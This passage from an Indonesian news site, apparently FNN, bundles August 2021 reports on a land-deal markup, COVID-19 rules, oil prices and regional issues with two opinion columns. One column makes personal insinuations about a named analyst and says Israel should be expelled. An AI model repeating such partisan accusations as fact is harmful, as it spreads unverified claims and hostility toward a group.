Munjul seluas lebih kurang 4,2 Hektare kepada Sarana Jaya. Akan tetapi, saat itu kepemilikan tanah tersebut masih sepenuhnya milik Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Mereka berdua lalu bertemu dengan Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus di Yogyakarta, kemudian disepakati ada pembelian tanah di Munjul dan disepakati harga tanah adalah Rp2,5 juta per meter sehingga total harga itu Rp104,8 miliar. Pembelian tanah pada 25 Maret 2019 langsung perikatan jual beli sekaligus pembayaran uang muka oleh Runtuwenas dan Adrian dengan jumlah sekitar Rp5 miliar melalui rekening bank atas nama Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Pelaksanaan serah terima Sertifikat Hak Guna Bangunan dan tanah girik dari pihak Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus melalui notaris yang ditunjuk Runtuwenas. Runtuwenas, Adrian, dan Iskandar lantas menawarkan tanah kepada pihak Sarana Jaya dengan harga Rp7,5 juta per meter dengan total Rp315 miliar. Diduga terjadi negosiasi fiktif dengan kesepakatan harga Rp5,2 juta per meter dengan total Rp217 miliar. Maka, pada 8 April 2019 dilakukan penandatanganan pengikatan akta perjanjian jual beli di hadapan notaris di Kantor Sarana Jaya antara pihak pembeli (Pinontoan) dan pihak penjual (Runtuwenas) dan dilakukan pembayaran sebesar 50 persen atau sekitar Rp108,9 miliar ke rekening bank milik Runtuwenas pada Bank DKI. Selang beberapa waktu kemudian, atas perintah Pinontoan dilakukan pembayaran oleh Sarana Jaya kepada Runtuwenas sekitar sejumlah Rp43,5 miliar. (sws)

Gubernur NTT Perintahkan Pembatasan Pelayanan Transportasi

Kupang, FNN - Gubernur Nusa Tenggara Timur Viktor Bungtilu Laiskodat memerintahkan agar dilakukan pembatasan pelayanan transportasi udara dan laut dalam penerapan perpanjangan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4 untuk penanganan penyebaran COVID-19 di provinsi itu. Hal tersebut disampaikan melalui surat Instruksi Gubernur NTT tentang pelayanan angkutan transportasi bagi pelaku perjalanan di masa penerapan perpanjangan PPKM level V yang diterbitkan pada 9 Agustus 2021 yang diterima di Kupang, Selasa. "Melakukan pembatasan pelayanan angkutan udara, laut, dan penyeberangan yang diberlakukan terhitung mulai 9-16 Agustus 2021," demikian surat Instruksi Gubernur NTT yang ditujukan kepada sejumlah pihak yaitu Wali Kota Kupang, para bupati se-NTT, operator angkutan udara, operator angkutan laut, PT ASDP Indonesia Ferry (Persero) Cabang Kupang, dan Direktur Utama PT Flobamor. Ia mengatakan operator angkutan udara agar memberlakukan syarat perjalanan udara bagi penumpang dari luar NTT dengan wajib menunjukkan minimal surat vaksinasi COVID-19 pertama, surat hasil negatif tes rapid antigen yang sampelnya diambil dalam kurun waktu 1x24 jam sebelum keberangkatan dan mengisi e-HAC Indonesia. Sedangkan bagi pelaku perjalanan ke luar wilayah NTT mengikuti ketentuan dan persyaratan yang berlaku di daerah tujuan. Ia mengatakan syarat pelaku perjalanan udara di dalam wilayah NTT tidak harus menunjukkan surat vaksin pertama tetapi wajib menunjukkan surat hasil negatif tes rapid antigen dan mengisi e-HAC Indonesia. Gubernur Viktor juga memerintahkan agar operator angkutan laut melarang perjalanan penumpang dengan kapal laut dari luar masuk ke wilayah NTT melalui semua pelabuhan penyeberangan kecuali Pelabuhan Tenau Kupang. Sedangkan moda transportasi laut dan penyeberangan yang melayani pelaku perjalanan di dalam wilayah NTT beroperasi seperti biasa dengan ketentuan penumpang tidak harus menunjukkan surat vaksin pertama tetapi wajib membawa surat hasil negatif tes rapid antigen dan mengisi e-HAC Indonesia. Operator angkutan laut, kata dia, agar mengijinkan angkutan laut yang masuk dari luar NTT hanya untuk mengangkut barang dan logistik dengan ketentuan semua awak kapal wajib menunjukkan minimal surat vaksin pertama dan hasil negatif tes rapid antigen. Sedangkan keberangkatan kapal laut yang akan keluar wilayah NTT mengikuti ketentuan yang berlaku di pelabuhan tujuan, katanya. (sws)

Vertikal Rescue Indonesia Kolaborasi Dengan TNI Bangun Jembatan

Jakarta, FNN - Komunitas Vertikal Rescue Indonesia berkolaborasi dengan TNI Angkatan Darat (AD) membangun jembatan gantung di Kecamatan Gunung Kaler, Tangerang, Banten melalui program 1.000 jembatan gantung. "Sebelum ada jembatan gantung, hasil panen masyarakat diangkut menggunakan perahu yang ditarik menggunakan tali," kata Komandan Kodim (Dandim) 0602/Serang Kolonel Inf. Soehardono melalui kanal YouTube TNI AD yang dipantau di Jakarta, Selasa. Jika musim hujan atau banjir, aliran Sungai Cidurian yang memisahkan Kabupaten Serang dengan Kabupaten Tangerang tidak bisa dilalui warga menggunakan perahu karena sangat berisiko. Tidak hanya mobilitas warga, berbagai bahan kebutuhan pokok masyarakat juga akan terkendala atau terhenti bila air Sungai Cidurian meluap. Masalahnya, sungai tersebut merupakan akses utama warga dari maupun ke Kabupaten Tangerang, Banten. Jika jembatan gantung tersebut selesai dibangun, menurut Dandim Soehardono, berbagai hasil bumi dari Desa Carenang menuju Gunung Kaler akan lebih mudah diangkut menggunakan sepeda motor. "Ini akan menghemat waktu, biaya, dan mobilitas bisa berjalan baik. Itulah yang betul-betul dinikmati oleh rakyat," katanya. Senada dengan itu, Komandan Vertikal Rescue Indonesia Tedi Ixdiana mengatakan bahwa jembatan gantung yang dibangun di atas aliran Sungai Cidurian merupakan jembatan yang ke-126 dibangun oleh komunitas tersebut. "Dalam 4 tahun hingga 5 tahun terakhir ini, kami sudah membangun 128 jembatan," kata Tedi. Dari evaluasi tim di lapangan, ke depan harus ada percepatan pembangunan jembatan mengingat kebutuhan masyarakat di daerah terpencil dan rawan terdampak bencana alam cukup tinggi. Untuk mempercepatnya, Vertikal Rescue Indonesia memperluas dan memperbanyak sosialisasi kepada masyarakat serta pelatihan cara pembuatan jembatan tanpa menggunakan beton dengan biaya terjangkau. Tedi mengaku gembira melihat warga yang antusias dan senang dengan adanya jembatan gantung tersebut. Bahkan, bagi komunitas tersebut, luapan kegembiraan masyarakat setempat adalah bayaran termahal. "Kelelahan kami berhari-hari terbayar setelah melihat mereka bersujud," ujarnya. (sws)

Ketua MPR: Tahun Baru Islam Momentum Evaluasi Diri

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo mengatakan Tahun Baru Islam 1 Muharram 1443 Hijriah, sepatutnya dijadikan momentum melakukan muhasabah, evaluasi dan introspeksi diri. "Tujuannya untuk terwujudnya kejernihan hati dan pikiran, serta mengevaluasi apa yang telah dilakukan agar ke depan dapat melakukan perbaikan dalam segala hal," kata Bambang Soesatyo atau Bamsoet dalam keterangannya di Jakarta, Selasa. Hal itu dikatakan Bamsoet dalam acara "Refleksi Akhir Tahun Peringatan Tahun Baru Islam 1 Muharram 1443 H" yang diselenggarakan secara virtual oleh TV NU, di Jakarta, Senin (9/8) malam. Dia mengatakan evaluasi diri tersebut diperlukan karena tahun 1442 Hijriah masih menyisakan keprihatinan mendalam, karena dunia belum dapat melewati masa-masa sulit di tengah pandemi COVID-19. Bamsoet juga mengapresiasi langkah Pengurus Besar Nahdlatul Ulama (PBNU) yang turut membantu menyosialisasikan program vaksinasi COVID-19. "PBNU juga aktif membangun sinergi dengan berbagai entitas kelembagaan, termasuk dengan TNI dan Polri, dalam berbagai program vaksinasi massal, sebagai wujud pengabdian kepada bangsa dan negara," ujarnya. Dia menjelaskan, pandemi COVID-19 yang dirasakan hampir seluruh negara dunia, dampaknya lebih buruk dibandingkan resesi global pada tahun 1930-an yang berdampak pada 83,8 persen negara di dunia. Menurut dia, hingga 8 Agustus, tercatat sudah lebih dari 203 juta kasus positif di seluruh dunia, menyebabkan lebih dari 4 juta penduduk dunia meninggal. "Islam mengajarkan tidak boleh berputus asa dalam menyikapi berbagai musibah, selalu ada kemudahan setelah datang kesulitan. Allah tidak akan membebani hamba diluar batas kemampuannya, namun juga tidak boleh lupa, bahwa Allah tidak akan mengubah nasib suatu kaum, kecuali kaum itu mau berikhtiar untuk mengubahnya," katanya. Dia juga menyampaikan rasa bangga, di masa pandemi COVID-19, soliditas kebangsaan justru tetap kuat misalnya berdasarkan data Badan Amil Zakat Nasional (BAZNAS) menyebutkan meskipun dalam masa krisis akibat pandemi COVID 19, terjadi peningkatan jumlah Zakat, Infak dan Sedekah (ZIS) yang diterima BAZNAS sebesar 30 persen pada tahun 2020. Menurut dia, berdasarkan data World Giving Index menyebutkan masyarakat Indonesia sebagai yang paling dermawan di dunia selama pandemi, juga mengkonfirmasi bahwa zakat merupakan salah satu pendorong kedermawanan masyarakat. "Bagi kaum muslimin, ada tanggung jawab menghadirkan Islam sebagai rahmatan lil ‘alamin. Sebagaimana pesan Khalifah Ali bin Abi Thalib, yang dirilis kembali oleh Komisi Hukum PBB, yang menyatakan bahwa 'mereka yang bukan saudara seagama, adalah saudara dalam kemanusiaan'. Menjadi sebuah pesan humanis yang menjadi salah satu dasar hukum positif universal," katanya. Dalam kesempatan tersebut, dia menjelaskan setelah sembilan bulan perekonomian nasional terpukul dampak pandemi COVID-19, pada akhirnya Indonesia dapat melepaskan diri dari resesi yaitu pertumbuhan ekonomi pada kuartal II 2021 tumbuh positif pada level 7,07 persen. Menurut dia, untuk menjaga pertumbuhan perekonomian tetap berada di jalur positif, semua pihak harus mengupayakan agar tidak terjadi lagi lonjakan kasus COVID-19. "Ada peran serta dari setiap diri kita untuk mewujudkan hal tersebut, yaitu dengan berdisiplin mematuhi protokol kesehatan, menerapkan pola hidup bersih dan sehat, dan melakukan vaksinasi secara sukarela," ujarnya. (sws)

Menteri Kominfo Lantik Dirjen Informasi dan Komunikasi Publik

Jakarta, FNN - Menteri Komunikasi dan Informatika (Kominfo) Johnny G. Plate resmi melantik Usman Kansong sebagai Direktur Jenderal Informasi dan Komunikasi Publik (Dirjen IKP) di Jakarta, Selasa. “Mari kita bekerja sama untuk mampu melaksanakan tugas yang dipercayakan oleh bangsa, negara, bapak presiden, dan oleh kementerian ini ke pundak Pak Usman Kansong sebagai Direktur Jenderal IKP yang baru,” kata Johnny G. Plate dalam pidatonya. Ia menambahkan bahwa tugas terdekat yang harus dilakukan oleh Dirjen IKP adalah komunikasi publik yang akurat dan tepat, sesuai dengan segmentasi komunikasi untuk membantu Indonesia dalam menangani, mengendalikan, dan menuntaskan pandemi COVID-19 di Indonesia. Jabatan Dirjen IKP memegang peran sentral dalam upaya negara untuk berperang melawan pandemi COVID-19. Tiga peran sentral yang diemban oleh Dirjen Informasi dan Komunikasi Publik adalah memastikan masyarakat untuk melaksanakan 3M dengan ketat, melakukan 3T dengan efektif, dan mengajak masyarakat untuk melakukan vaksinasi COVID-19. 3M merupakan upaya pencegahan penularan COVID-19 dengan cara menggunakan masker, mencuci tangan, dan menjaga jarak. Komunikasi publik yang akurat, menurut Johnny, dapat meningkatkan kedisiplinan masyarakat dalam menggunakan masker menjadi 95 persen di bulan September. Sebelumnya, pada bulan Juli, angka kedisiplinan masyarakat dalam menggunakan masker sebesar 85 persen. “Komunikasi publik memiliki peran yang sangat sentral untuk meningkatkan (kedisiplinan) menjadi 95 persen,” tutur Johnny menegaskan. Di sisi lain, penerapan 3M didukung oleh praktik 3T yang bertujuan untuk memutus rantai COVID-19. Adapun yang dimaksud dengan praktik 3T yakni, Testing, Tracing, dan Treatment atau Tes, Telusur, dan Tindak Lanjut. Oleh karena itu, selain meningkatkan kedisiplinan dalam menggunakan masker, komunikasi publik yang tepat dapat memberi pengertian kepada masyarakat mengenai tugas, tantangan, serta hambatan yang dialami oleh pemerintah. Komunikasi tersebut bertujuan mengajak masyarakat mendukung kelancaran dalam pelaksanaan 3T. “Agar sinergi penanganan 3T kita lebih efektif dan optimal,” ucapnya. Peran lain yang diemban oleh Dirjen IKP adalah mengajak masyarakat untuk turut berperan secara aktif dan masif dalam mengikuti dan melaksanakan vaksinasi COVID-19. "Saya percaya Pak Usman pasti mampu melaksanakannya," kata Johnny G. Plate. Usman Kansong sebelumnya berkarir sebagai wartawan di Harian Republika, Metro TV, dan Media Indonesia. (sws)

Kenapa Connie Uring-uringan

By M Rizal Fadillah CONNIE Rahakundini Bakrie, pengamat militer dan pertahanan, mempertanyakan dan cenderung menyalahkan Latihan Bersama TNI AD dengan US Army tanggal 1-14 Agustus ini. Menurutnya Latihan Bersama ini tidak perlu mengingat Indonesia negara Non Blok. Pandangan ini dibantah banyak pihak di antaranya politisi PDIP Mayjen TNI Purn TB Hasanuddin, SE MM. Menurutnya Latihan ini sah sah saja karena hanya menyangkut taktik dan teknis bukan pakta pertahanan. Connie malah meminta KASAD Jenderal Andika bahwa setelah ini TNI AD segera melakukan latihan bersama dengan RRC dan Rusia dengan sandi Garuda Dragon Shield dan Garuda Bear Shield. Connie tak perlu uring-uringan dengan Latihan Bersama ini, karena Latihan Bersama ini bukan hal baru melainkan yang ke lima belas. Artinya rutin saja. Ketika ia mempertanyakan mengapa tidak dibuka oleh Panglima TNI Hadi Cahyono ? jawabannya mudah, Bu ini Latihan bersama TNI AD bukan semua Angkatan. Justru Connie ngawur mengusulkan segera diadakan Latihan Bersama dengan China dan Rusia di masa tegang seperti ini. Sama saja mau menghancurkan Indonesia, membawa konflik ke negara kita sendiri. Lagi pula rakyat Indonesia masih mengalami trauma dengan pengkhianatan kaum Komunis yang didukung oleh Rusia (Uni Sovyet dulu) saat PKI dipimpin Musso dan didukung oleh RRC saat PKI diketuai oleh DN Aidit. Kini pun RRC tidak disukai rakyat Indonesia karena hegemoni bahkan kolonialisasi ekonomi. Connie mempersoalkan mafia alutsista di bawah Menhan Prabowo padahal mafia itu telah merajalela jauh sebelum Prabowo menjadi Menteri. Konon Prabowo mencoba untuk membongkarnya. Orangpun wajar menjadi bertanya Connie ini pro mafia yang mana ? Yang jelas Connie itu pro Israel. Mantan istri Letjen Purn Djaja Suparman ini pernah menjadi Senior Research Fellow di Insitute of National Security Studies (INSS) Tel Aviv Israel. Pernah tinggal di Israel. Mendapat pengawalan 24 Jam dari Israel Defence Force (IDF). Ia menyatakan terharu dan bangga kepada Israel. Connie menganjurkan Indonesia membuka hubungan diplomatik dengan Israel "Sudah saatnya Indonesia bertindak konkrit bisa lebih memahami Israel dengan membuka hubungan diplomatik sehingga ada diskusi lebih lanjut", ungkapnya. Connie lupa bahwa Israel itu negara penjajah, pencaplok tanah Palestina, dan biadab membombardir penduduk Palestina. Israel menduduki juga Masjid Al Aqsha. Israel seharusnya bukan saja tidak diakui tapi juga mesti diusir ke luar sebagaimana asal mula mereka yang tak punya tanah. Memihak Israel adalah bertentangan dengan prinsip negara Indonesia yang menjunjung tinggi kemerdekaan dan kedaulatan suatu bangsa. Palestina harus didukung untuk merdeka, bukan pro dan menjadi pelayan kaum zionis Israel. Connie membanggakan kerukunan di Israel. Ia gembira dapat ikut ritual jalan salib dalam Gereja Katolik di Israel, bahkan ikut memanggul salib melewati rute yang sudah ditentukan. Connie sendiri mengakui bahwa dirinya muslim. Uring-uringan Connie tentang Latihan Bersama Garuda Shield TNI AD dengan US Army ini cukup aneh dan menimbulkan pertanyaan untuk kepentingan siapakah sebenarnya suara Connie Rahakundini Bakrie ini digaungkan ? Lanjut terus Latihan Bersama Garuda Shield. Biarlah anjing menggonggong kafilah berlalu. Yang jelas China pasti gerah dengan Latihan Bersama terbesar dalam sejarah TNI AD dan US Army ini. Bagi bangsa dan negara Indonesia RRC bukan sahabat yang baik. *) Pemerhati Politik dan Kebangsaan

Rezim Ini Tak Lulus Belajar Berhitung

KETIKA bayi beranjak ke masa kanak-kanak, pelajaran pertama yang diberikan oleh orangtuanya adalah berhitung. Ia akan diajari mengenal jumlah anggota tubuh dan menghitung satu sampai seratus. Jika lancar, selanjutnya ia akan belajar penambahan dan pengurangan, perkalian dan pembagian. Jika salah hitung ia akan dibetulkan oleh orang tuanya. Mengapa berhitung penting, sebab sejak kecil anak sudah harus diajarkan berpikir logis, matematis, dan sistematis. Pendidikan pemula ini sangat baik untuk membentuk karakter, moralitas, dan cara berpikir konstruktif. Jika hari ini ada sebuah rezim gagal dalam hitung- menghitung, maka patut dipertanyakan apakah rezim ini kekanak-kanakan. Betapa tidak heran, bantuan sosial bagi penerima dampak Covid19 yang seharusnya beres, malah menimbulkan kegaduhan. Ada saja masalah yang muncul: ada yang tidak terima sama sekali, ada yang tanpa hak menerima, ada yang menerima dobel dan ada yang baru menerima satu kali. Padahal, pandemi sudah berjalan 1,5 tahun. Anggarannya pun dipersiapkan dengan matang, lengkap dengan regulasinya. Jumlahnya mencapai Rp750 triliun. Unik memang, dana besar, tetapi hasilnya tidak maksimal. Padahal perangkat negara sudah dikerahkan. Ada BPS, Dinas Kependudukan, Bupati, Camat dan Lurah, tetapi persoalan data tidak pernah klop. Jadi apa sesungguhnya yang didata selama ini? Amburadulnya data kependudukan sesungguhnya terjadi sejak Pemilu 2014. Mulai dari data hilang, data dobel, dan data orang meninggal terjadi saat sebelum Pemilu. Bahkan hingga usai Pemilu pun datanya masih simpang siur. Tak pernah akurat. Aneh, hal yang sama terjadi pada Pemilu 2019. Kisruh data terjadi sepanjang waktu. Hasil Pemilu pun tak ada yang sinkron antara KPU, data, partai, lembaga survei, data kecamatan, dan Babinsa. Semuanya berselisih. Butuh nalar dan niat tulus dari rezim saat ini. Kalau rezim bisa mengendalikan anggota DPR RI untuk tidak kritis, untuk diam saja, untuk pura pura tidak melihat kesengsaraan rakyat, kenapa rezim tidak bisa memaksimalkan Bupati dan Walikota seluruh Indonesia untuk bergerak cepat. Jumlah anggota dewan yang 560 hampir sana dengan jumlah bupati/walikota seluruh Indonesia yang sekitar 513. Ini lebih simpel, cepat, dan akurat. Bupati bisa mengerahkan aparat di bawahnya untuk bergerak. Kisruh bansos ini mustinya bisa menyadarkan rezim untuk lebih cerdas mengelola negara. Idealnya bantuan bukan diberikan pada saat bencana semata. Agar bantuan tidak membebani negara, mustinya berupa kebijkan publik sesuai perintah undang-undang. Rezim jangan ugal-ugalan mencabuti subsidi. Subsidi BBM, listrik, dan pangan seharusnya diberikan secaa tulus. Sehingga jika ada bencana rakyat kecil masih bisa bertahan, listrik terjangkau, beras terbeli. Yang terjadi justru semua subsidi dipangkas atau tepatnya dihapus. Atas nama pemerataan tapi yang terjadi justru kesengsaraan berkepanjangan. Tugas negara adalah memakmurkan rakyatnya dengan memberikan kemudahan mencari nafkah, mendapatkan pekerjaan dan perlindungan hukum. Hari ini, di tengah wabah koroma masyarakat hidup seakan tanpa pemimpin. Bagaikan anak ayam kehilangan induknya. Mereka cari nafkah, sakit, dirawat, bahkan mati di rumah sendiri-sendiri. Fasilitas kesehatan dan tenaga medis sudah tak mampu menangani. Ada 50 ribu orang terpapar dan 2000 orang meninggal dunia setiap hari. Ada yang usul data bansos ini mustinya bisa memakai data BLT sehingga tidak perlu lagi membuat data baru. Akan tetapi data BLT yang sudah berjalan tahunan pun sama amburadulnya. Data BLT ternyata lebih memiriskan. Menteri Keuangan, Sri Mulyani menyebut realisasi BLT Desa masih rendah. Penyerapan anggaran baru sekitar 8,2 persen. Capaian ini sangat jauh dari total anggaran yang disediakan. Jumlah desa yang baru menyerap di bawah 15 persen, ada 163 daerah yang realisasinya hanya 983 miliar padahal anggarannya 11,51 triliun. Jadi not even 1 triliun realisasinya hanya 8,2 persen," kata Sri Mulyani. Ini artinya masih banyak orang yang tidak mendapatkan bantuan sosial dari pemerintah Satu-satunya menteri yang lihai mengjitung data hanyalah bekas Menteri Sosial Juliari Batubara. Ia lancar dan cepat sekali menghitung jumlah penerima bansos. Sayang, kiprahnya ternyata dilandasi oleh semangat nyolong. Ia memungut Rp10 ribu dari setiap bansos yang diberikan. Konon aslinya Rp 42 ribu yang ditilep. Maklum ada jatah buat sang Madame. Jejak Juliari kemudian diikuti oleh para pengambil kebijakan di daerah- daerah. Memanfaatkan lemahnya pendataan, Bupati Bandung Barat, Bupati Karawang, Malang, Tangerang, dan terjadi hampir di seluruh wilayah NKRI mengikuti langkah Juliari. Mereka rajin mengolah data untuk dikorupsi demi kepentingan pribadi dan kelompoknya. Persoalannya bukan pada data, tetapi moralitas, profesionalitas, dan konsistensi. Jika mau, pemerintah bisa menerapkan pendataan dari bawah yakni RT RW karena mereka yang paling tahu kondisi masyarakat secara nyata. Jika masih mengacu pada data BPS, Dinas Kependudukan, dan lembaga dari pusat lainnya, niscaya persoalan data tidak akan beres. Tampaknya rezim justru menikmati amburadulnya data karena banyak celah bisa dimainkan.

Harga Minyak Turun 2,6 Persen Per Barel.

New York, FNN - Harga minyak turun pada hari Senin karena para pedagang khawatir tentang prospek permintaan di tengah kebangkitan infeksi Covid-19. Minyak mentah West Texas Intermediate (WTI) untuk pengiriman September kehilangan 1,8 dolar AS, atau 2,6 persen, menjadi 66,48 dolar AS per barel di New York Mercantile Exchange. Dikutip dari Antara, Selasa, 10 Agustus 2021, minyak mentah Brent untuk pengiriman Oktober turun 1,66 dolar AS atau 2,3 ​​persen menjadi ditutup pada 69,04 dolar AS per barel di London ICE Futures Exchange. "Kemerosotan harga berlanjut hari ini di tengah meningkatnya lagi kekhawatiran tentang permintaan," kata Carsten Fritsch, analis energi di Commerzbank Research, dalam sebuah catatan pada hari Senin. Penguatan dolar AS juga menekan harga minyak. Indeks dolar, yang mengukur greenback terhadap enam mata uang utama, naik 0,16 persen menjadi 92,9410 pada akhir perdagangan Senin, menyusul lonjakan 5,8 persen di hari sebelumnya. Secara historis, harga minyak berbanding terbalik dengan nilai dolar AS. Untuk pekan yang berakhir Jumat, patokan minyak mentah AS turun 7,7 persen. Sedangkan Brent turun 6,2 persen, berdasarkan kontrak bulan berikutnya. (MD).

Pengamat: Kepri Butuh Kapal Penangkap Ikan Kapasitas Besar

Tanjungpinang, FNN - Pengamat ekonomi dari Universitas Maritim Raja Ali Haji Kota Tanjungpinang, Kepulauan Riau, Dodi Dermawan berpendapat nelayan tradisional membutuhkan kapal ikan dengan kapasitas besar agar mampu menangkap ikan di perairan bergelombang tinggi dan berarus kuat. "Kebanyakan kapal-kapal yang digunakan nelayan tradisional di Kepri berukuran kecil, dengan kapasitas kecil sehingga tidak mampu mengarungi lautan dengan gelombang yang tinggi dan berarus kencang," kata Dodi Dermawan di Tanjungpinang, Senin. Menurut dia, kelangkaan ikan di wilayah yang memiliki luas lautan mencapai 96 persen dibanding daratan 4 persen, seharusnya tidak terjadi. Apalagi potensi ikan di Kepri, terutama di Natuna dan Anambas sangat besar sehingga seharusnya mampu memenuhi kebutuhan pasar. Dodi mengemukakan kelangkaan ikan di Tanjungpinang, ibu kota Kepulauan Riau, yang terjadi sekarang, kerap terjadi setiap tahun, terutama saat musim angin utara dan angin selatan. Sedangkan di perairan Natuna dan Kepulauan Anambas, lanjutnya, nelayan tradisional tidak mungkin dapat melaut bila musim angin selatan dan angin utara, karena angin kencang dan arus kuat di bawah laut. Kondisi ini semestinya tidak terjadi bila nelayan melaut dengan menggunakan kapal besar. "Pengadaan kapal dengan kapasitas besar, yang mampu mengarungi lautan dengan gelombang tinggi, angin kencang dan arus kuat, perlu disediakan pemerintah untuk meningkatkan produktivitas nelayan sehingga mampu menyediakan kebutuhan ikan, yang menjadi makanan pokok masyarakat Kepri," ujarnya. Dodi mengatakan harga ikan mempengaruhi inflasi di wilayah itu. Bila ikan langka, maka harga ikan juga naik sehingga harga barang kebutuhan lainnya pun ikut naik. "Saya pikir sudah saat kelompok nelayan di Kepri diberikan bantuan kapal berukuran besar, mungkin dengan teknologi yang memadai sehingga mampu memenuhi kebutuhan masyarakat," ucapnya. Sebelumnya, Rektor Universitas Maritim Raja Ali Haji Tanjungpinang Agung Dhamar Syakti mengatakan sektor perikanan tangkap dan budi daya ikan. Hasil tangkapan ikan di wilayah Indonesia I yakni Kepri baru mencapai 400-500 ribu ton dari 1,1 juta ton potensi ikan. Artinya, masih ada sekitar 600-700 ribu ton ikan yang masih berpeluang ditangkap, dan dijual. Untuk membangun industri perikanan tersebut dibutuhkan investasi dan pengadaan kapal ikan berskala besar. Terkait keramba ikan, menurut dia, Kepri memiliki sekitar 400 ribu hektare lahan. Saat ini, baru digarap 60 ribu hektare. "Masih banyak tempat untuk budi daya ikan, udang, kepiting dan lainnya. Untuk meningkatkan pendapatan di sektor ini dibutuhkan investasi, regulasi dan teknologi," katanya. Ketua Kesatuan Nelayan Tradisional Indonesia (KNTI) Kabupaten Bintan Buyung Adly, mengatakan, nelayan tradisional tidak dapat berlayar ke perairan Natuna, Kepulauan Anambas dan Kalimantan sejak dua pekan lalu lantaran angin kencang. Kapasitas kapal-kapal yang digunakan nelayan tradisional maksimal hanya 5 GT sehingga hanya mampu mengarungi perairan di sekitar Bintan. Hasil melaut pun relatif sedikit sehingga tidak dapat memenuhi kebutuhan pasar di Tanjungpinang. "Yang bisa melaut ke Natuna, Anambas, Kalimantan dan perairan lainnya yang banyak ikan itu hanya kapal besar. Bintan ada sejumlah pengusaha yang memiliki kapal besar, namun kualitas ikan yang didapat itu untuk kebutuhan pasar internasional dengan harga yang tinggi," katanya. (mth)

Ketua Apeksi Ingatkan Potensi Gejolak Sosial di Masyarakat Bawah

Bogor, FNN - Ketua Dewan Pengurus Asosiasi Pemerintah Kota Seluruh Indonesia (Apeksi) Bima Arya mengingatkan semua pemerintah kota mengantisipasi potensi gejolak sosial di masyarakat bawah yang terdampak --secara ekonomi-- pembatasan aktivitas warga karena pandemi COVID-19. "Harus hati-hati dan juga fokus membangun harmoni di masyarakat bawah. Jangan hanya fokus pada protokol kesehatan, tapi mengabaikan aspek sosial ekonominya. Ini harus menjadi perhatian bersama," katanya saat memimpin rapat Dewan Pengurus Apeksi secara virtual dari Balai Kota Bogor, Senin. Menurut dia, masyarakat bawah yang kehilangan pekerjaan, tidak bisa bekerja, atau penghasilannya menurun drastis, harus mendapat perhatian dan diberikan bantuan. Ia juga mengingatkan pemerintah kota di seluruh Indonesia untuk memperhatikan dampak psikologis pada anak-anak terdampak COVID-19. "Pada prinsipnya, saya mengimbau seluruh pemerintah kota, untuk memberikan perhatian pada aspek psikologis anak-anak tersebut," katanya. Dia mengatakan pandemi COVID-19 membuat ada keluarga yang ayah atau ibunya meninggal dunia, bahkan ada ayah dan ibunya meninggal dunia, meninggalkan anak-anaknya. "Anak-anak yang masih membutuhkan biaya dan perhatian itu, kehilangan orang tuanya yang menjadi tulang punggung keluarga. Tentunya, secara psikologis juga mengalami guncangan," kata Bima Arya yang juga Wali Kota Bogor itu. Di Kota Bogor, katanya, pemerintah kota mendata anak-anak yang kehilangan orang tua seperti itu dan memberikan bantuan. Sekitar 300 anak yatim dan piatu di daerah itu. Mereka terguncang bukan saja secara dampak ekonomi tetapi juga psikis dan sosial. "Kondisi seperti ini sering luput dari perhatian," katanya. Perhatian dalam bentuk bantuan paket sembako, menurut dia, belum cukup untuk membantu anak-anak tersebut, karena kebutuhan mereka berupa pendidikan, kesehatan, bimbingan dan konseling, sehingga diperlukan gerakan yang sistematis. Ia juga mengatakan Satgas Penanganan COVID-19 Kota Bogor membuka Posko Logistik Darurat, sejak diterapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) pada 3 Juli lalu. Melalui Posko Logistik Darurat tersebut, satgas menggalang bantuan dari para donator, baik lembaga pemerintah, BUMN, perusahaan swasta, komunitas, maupun perorangan. Bantuan dari donatur, antara lain paket sembako, bahan makanan, obat-obatan, masker, dan peti jenazah. Berbagai bantuan itu kemudian didistribusikan kepada warga yang membutuhkan, yakni warga terpapar dan terdampak COVID-19. Dia juga mengaku menggalang bantuan dari aparatur sipil negara (ASN) di Kota Bogor untuk menyisihkan sebagian gajinya, membantu pelaku usaha mikro dan warga terdampak. "Saya mengusulkan, dana yang digalang oleh ASN Kota Bogor juga disisihkan untuk membantu anak-anak yatim piatu," katanya. (mth)

Gubernur NTB Minta Rumah Sakit Efisien Gunakan Oksigen

Mataram, FNN - Gubernur Nusa Tenggara Barat, H Zulkieflimansyah meminta seluruh rumah sakit di wilayah itu untuk menerapkan manajemen efisiensi penggunaan oksigen, agar kebutuhannya tetap dikendalikan di tengah pandemi COVID-19. "Efisiensi oksigen harus segera dikoordinasikan agar optimal pemanfaatannya," ujarnya pada Rapat Koordinasi Satgas Oksigen yang berlangsung di Ruang Rapat Utama (RRU) Kantor Gubernur NTB di Mataram, Senin. Kebutuhan oksigen di Provinsi NTB per bulan terhitung 283.196 kilogram atau 35.490 tabung besar, sementara ketersediaan tabung per bulannya terhitung 220.000 kilogram atau 27.500 tabung besar. Hal ini terus diatensi oleh Pemerintah NTB dengan menerapkan strategi, yakni efisiensi penggunaan, memastikan distribusi tepat waktu dan mengoptimalkan oksigen kosentrator atau oksigen generator. Direktur Rumah Sakit Umum Daerah (RSUD) Provinsi NTB, dr Lalu Herman Mahaputra, menjelaskan pentingnya manajemen efisiensi oksigen. "Seluruh Rumah Sakit harus dapat memahami bagaimana kebutuhan oksigen yang ada di Rumah Sakitnya masing - masing," ujarnya. Manajemen efisiensi itu, antara lain melakukan koordinasi dengan Dokter Penanggung Jawab Pelayanan (DPJP) untuk penyapihan pemberian oksigen pasien, mengoptimalkan penggunaan dan distribusi oksigen kosentrator, memonitor kebutuhan oksigen secara ketat, bila kondisi membaik segera hentikan pemberian dan melakukan skrining ketat di IGD untuk menentukan kriteria pasien butuh perawatan atau isoman. "Kita sudah melakukan itu di RSUD Provinsi NTB sebagai salah satu RS rujukan dan begitu banyak pasiennya. Saya pikir Rumah Sakit lain juga harus bisa," kata dr Jack sapaan akrabnya. Kepala Dinas Kesehatan Provinsi NTB, dr H Lalu Hamzi Fikri, menyatakan efisiensi penggunaan oksigen adalah cara terbaik dalam mengoptimalkan penggunaan. "Seberapa jumlah oksigen yang ada, harus adanya manajemen efisiensi penggunaan oksigen," katanya. (mth)

